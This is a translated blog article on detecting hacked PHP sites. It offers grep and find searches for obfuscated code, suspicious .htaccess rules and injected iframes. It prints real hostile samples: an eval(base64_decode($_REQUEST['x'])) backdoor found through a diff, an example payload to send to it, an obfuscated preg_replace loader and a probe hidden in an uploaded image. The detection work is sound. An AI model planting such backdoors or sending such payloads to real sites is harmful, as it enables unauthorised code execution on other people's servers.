📜 ⬆️ ⬇️

How to know that your PHP site has been hacked

My friend's site was recently hacked, it was running an old version of IP.Board, in which there is a local code inclusion vulnerability. This post will not be devoted to IP.Board or another php code, it will show how to find potentially malicious php code on your servers. Finally, I'll show you an example of what attackers can upload to a hacked site.

Check access logs


In order to start somewhere, I would like to share some entries from the access log of my friend’s hacked site.

IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0" IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0" 

It is often necessary to check access logs on the server, but if you are not careful, URLs such as the ones above, which at first glance look harmless, can pass right by you.
')
The two files above are the scripts uploaded by the hacker, they do not play a big role as the code on any two servers is likely to be different. However, in this particular example, the vulnerability in the legacy version of IP.Board was used, and the attackers were able to add their own scripts to the writable directories, such as a custom download directory and a directory in which IP.Board stores cached skin images. . This is a common attack vector, many people change the rights to these directories to 777 or give them write access, more on this later.

Let's take a closer look at the above log lines, does not it catch you?

Note that in the access log POST requests, not GET requests.
Most likely, the attackers wanted to make the access log more inconspicuous, since most of the logs do not store post data.

Detection of malicious PHP files


There are several ways to identify suspicious php files on your server, here are the best.
Tip: follow these commands from the root directory of your site.

Search for recently modified PHP files

Let's start with a simple one, let's say you haven't made any changes in php code for a while, the following command searches for all php files in the current directory tree that have changed in the last week. You can change the mtime option at will, for example mtime -14 for two weeks.

 find . -type f -name '*.php' -mtime -7 

My hacked server returned these results:

 ./uploads/monthly_04_2008/index.php ./uploads/monthly_10_2008/index.php ./uploads/monthly_08_2009/template.php ./uploads/monthly_02_2013/index.php 

All these scripts are uploaded by the attacker to the user's download directory.
Note: this command will produce false results if you yourself modified php files in a given period of time. The following methods are much more effective.

Search all PHP files with suspicious code

This is not the best approach, the following commands look for php files containing attacking scripts. We start simple and get more with advanced search.

The first file check that contains eval, base64_decode, gzinflate or str_rot13.

 find . -type f -name '*.php' | xargs grep -l "eval *(" --color find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color 

Hint: The first search parameter is the search directory, a dot means the current directory (and all subdirectories). You can change this parameter to any existing directory name to reduce search results, for example:

 find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color 

If you remove the -l option from grep, it will show the text of the matched file. To go further, I would use this joint team, which is more common

 find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color 

This command will find php files containing eval (str_rot13 (base64_decode (
The grep syntax is very simple and you can change it to fit your needs. Take a look at the expression above that we are looking for, this is “eval * (str_rot13 * (base64_decode * (”
Space followed by * means zero or more space characters. The above expression will be valid for the following lines:

 eval(str_rot13(base64_decode eval( str_rot13( base64_decode eval( str_rot13( base64_decode 

Tip: expand the expression to find functions that can be used maliciously, such as mail, fsockopen, pfsockopen, stream_socket_client, exec, system and passthru. You can combine all these values ​​into one command:

 find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\(" 

Note: we use egrep, not grep, this allows us to use extended regular expressions.
Finally, here’s an equally well-known way to hide the code:

 preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx4CQ FILE GOES ON FOR A LONG TIME...... lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B","."); 

preg_replace with the e modifier will execute this code, it looks unusual, however it is simply compressed in base64 php format using some hexadecimal character codes.
\ x65 \ x76 \ x61 \ x6C \ x28 \ x67 \ x7A \ x69 \ x6E \ x66 \ x6C \ x61 \ x74 \ x65 \ x28 \ x62 \ x61 \ x73 \ x65 \ x36 \ x34 \ x5F \ x64 \ x65 \ x63 \ x6F \ x64 \ x65 \ x28 is translated as eval (gzinflate (base64_decode ( , a \ x29 \ x29 \ x29 \ x3B, as )));

This command will help you find the use of preg_replace:
 find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[az]*e[^\1]*\1 *," --color 

Tip: if you get a ton of results from this command, you can save the result to a file or redirect it to another program called less , which allows you to view the results one page at a time. The f key is responsible for scrolling forward, the q key for quitting.

 find . -type f -name '*.php' | xargs grep base64_ | less find . -type f -name '*.php' | xargs grep base64_ > results.txt 

With any of the above search commands you can do the same.

Tip: Notice the hex x29 at the end? This is a closing bracket, and x3B is a semicolon. You can verify this by running:

 echo chr(hexdec('x29')); echo chr(hexdec('x3B')); // outputs ); 

You can use find to search for these hex codes in php files for further verification.

 find . -type f -name '*.php' | xargs grep -il x29 

This is a good approach if you know that you are not using hexadecimal values ​​in your code.

We state the facts

Most methods assume that the attacker uploads files to the north and uses some form of code obfuscation, when other attackers can simply change the existing php code. In this case, the code may look natural and match the style of the existing script, or it may be confusing.

In order to solve this problem, you need a clean copy of your code if you use common php scripts, such as wordpress, vbulletin, IP.Board, etc. - all is ready. If not, I hope you are using git or other version control systems and you can get a clean version of your code.

For this example, I will use wordpress.

I have two folders wordpress-clean, which contains just downloaded a copy of wordpress and wordpress-compromised, which contains a threat somewhere in the files.

 drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 . drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 .. drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised 

I can find the differences between my installed wordpress and pure wordpress by running the command:

 diff -r wordpress-clean/ wordpress-compromised/ -x wp-content 

I excluded wp-content from this search, because everyone has their own themes and plugins.
Tip: make sure you use the same version of wordpress for comparison.

Here are the results of my search:

 diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php 302a303,306 > > if (isset($_REQUEST['x'])) { > eval(base64_decode($_REQUEST['x'])); > } 

He found the malicious code!

Out of curiosity...

What can an attacker do with these 3 lines of code? First, the attacker would learn useful information:

 $payload = "file_put_contents(\"../../wp-content/uploads/wp-upload.php\", \"<?php\nphpinfo();\");"; echo base64_encode($payload); // output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs= 

Then he would send a GET or POST request to http: / /YOURSITE/wp-admin/includes/class-wp-importer.php with the x parameter containing the script created above. As a result of its execution, the file /wp-content/uploads/wp-upload.php will be created, which displays information about your server. This does not seem to be bad, but the fact is that an attacker can run any php code that he wants.
Note: this only works if the wp-content / uploads directory is writable. Almost always, depending on the settings of the web server, you can change the read / write rights to other files.

Always look for directories available for downloading executable code.

Using the methods presented above, it is easy to find php code in your boot directory. For wordpress, this would be:

 find wp-content/uploads -type f -name '*.php' 

Tip: here is a very simple bash script that looks for directories to write and php files to them. The result will be saved in the file results.txt. The script works recursively.

 #!/bin/bash search_dir=$(pwd) writable_dirs=$(find $search_dir -type d -perm 0777) for dir in $writable_dirs do #echo $dir find $dir -type f -name '*.php' done 

Name the file search_for_php_in_writable and give it execution rights

 chmod +x search_for_php_in_writable 

Save this file in your home directory, then go to the directory where you are going to search and execute the following command:

 ~/search_for_php_in_writable > results.txt ~/search_for_php_in_writable | less 

Note: If your site is hosted on a shared hosting and the web server is not securely configured, your site may not be the only one subject to attack. A general php shell download on vulnerable sites is essentially a tool that gives an attacker a file browser. They can use this tool to download attacking scripts in all the folders on the server available for writing, for example, the download directory.
Note: hackers usually try to upload images that contain php code, so check other extensions using the methods listed above.

 find wp-content/uploads -type f | xargs grep -i php find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php 

Do not believe? This file was uploaded as a jpg image on a hacked site. It looks like he was mistaken for binary data. Here is the same file in a more “readable” format.

Still can not read? Just like me to a deeper check. All this code is designed to run this function:

 if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") { function shutdownCallback() { echo "<!--".md5("links")."-->"; } register_shutdown_function("shutdownCallback"); } 

What makes this script irrelevant, you need to learn, you need to check your boot directories.
If you're interested, this is just a test case to see if the node is vulnerable, the attack happened later.

Where else could a malicious code be hiding?

If your php code dynamically generates page content and your site has been hacked, a hacker can write malicious code to the database. You can also conduct a more thorough check.

Go to your website, after loading the page, look at its HTML source code and save it somewhere on your computer, for example mywebsite.txt; Run the following command

 grep -i '<iframe' mywebsite.txt 

Hackers often insert an iframe on hacked sites, check all the pages of the site!
Tip: use the firebug extension for firefox to view the html content of your resource, the attacker can use javascipt to create an iframe, they will not be displayed when viewing the source code of the page in the browser, because the DOM changes after the page loads. There is also a Live HTTP Headers extension for firefox, which will show all current requests on your page. This makes it easy to see web requests that should not be.

Database Search


The attacker may have added code to the database. This will only be the case if your script stores custom code, such as plugins, in the database. So does vBulletin. Although this is rare, you should know this. If you were hacked in this case, then the attacker is likely to insert an iframe into the tables that display the data on your site.

In this example, we will use mysql or its derivatives.

For this, I would like to use PHPMyAdmin and this is not usual for me, I prefer to use command line tools, the code they are available, but this tool is easy to find.

Personally, I do not run PHPMyAdmin on a production server, I download a copy of the database and run it on a local server. If the database is large, it is not recommended to search for small pieces of text on the production server.

Open PHPMyAdmin, select the database and click 'Search'. You can search for strings such as% base64_% and% eval (%, and any other combinations that I have already stated.

Check .htaccess files if you are using Apache


If you are using an Apache web server, check the .htaccess files for suspicious changes.

auto_append_file and auto_prepend_file include other php files at the beginning or at the end of all php scripts, attackers can use them to include their code.

 find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file; find . -type f -name '\.htaccess' | xargs grep -i auto_append_file; 

The following command looks for .htaccess files in all subdirectories that contain 'http'. The result of the search will be a list of all redirection rules that may contain malicious rules.

 find . -type f -name '\.htaccess' | xargs grep -i http; 

Some malicious redirects are based on the user agent. It would not be bad to look for using HTTP_USER_AGENT in .htaccess files. Previous commands can be easily changed, just change the keyword before the semicolon.

To increase security, if you can, disable the use of .htaccess in directories and move your configuration to the main apache configuration.

In the "real world"


So why do people want to hack your site, what does this mean for them? For some, this is a hobby, but for others it is a source of income.

Here is an example of an attacking script loaded on a hacked site. It is based solely on post operations, most web server logs would be useless in this case. I was able to get the post request logs:

 Array ( [lsRiY] => YGFsZWN2bXBCY21uLGFtbw== [eIHSE] => PNxsDhxNdV [mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8= [dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei InZjaWdsIiI+LXI8CD4tUUBNRls8CA== [GGhp] => a3ZAbFFTSlJSbFo= [AIQXa] => e3VWT2VvQ0hyS0ha ) 

The malicious script is basically a SPAM zombie that will send any email to anyone who uses your server to send emails via a post request. The keys in each post request can be changed and the script is very resourceful, it checks the installed functions and adapts to this. For example, if php mail () is not available, it will try to create a socket on port 25 and send email directly via SMTP.

If you are interested in deciphering the data of intruders, use the function called n9a2d8ce3. Mysterious POST data puts down the destination address and the content of the e-mail.

If you use the tips given in this article, it will not be difficult for you to find such a script.

Conclusion


If you use public php scripts like wordpress, pay attention to critical or security updates not only for the basic installation, but also for extensions such as plugins. Most attackers will try to find thousands of sites with known vulnerabilities, so if you are vulnerable, you will be found in the end.

If you are working on a workbench, you still need to constantly check the code, because there should not be vulnerabilities in the libraries that you use.

Source: https://habr.com/ru/post/188878/


All Articles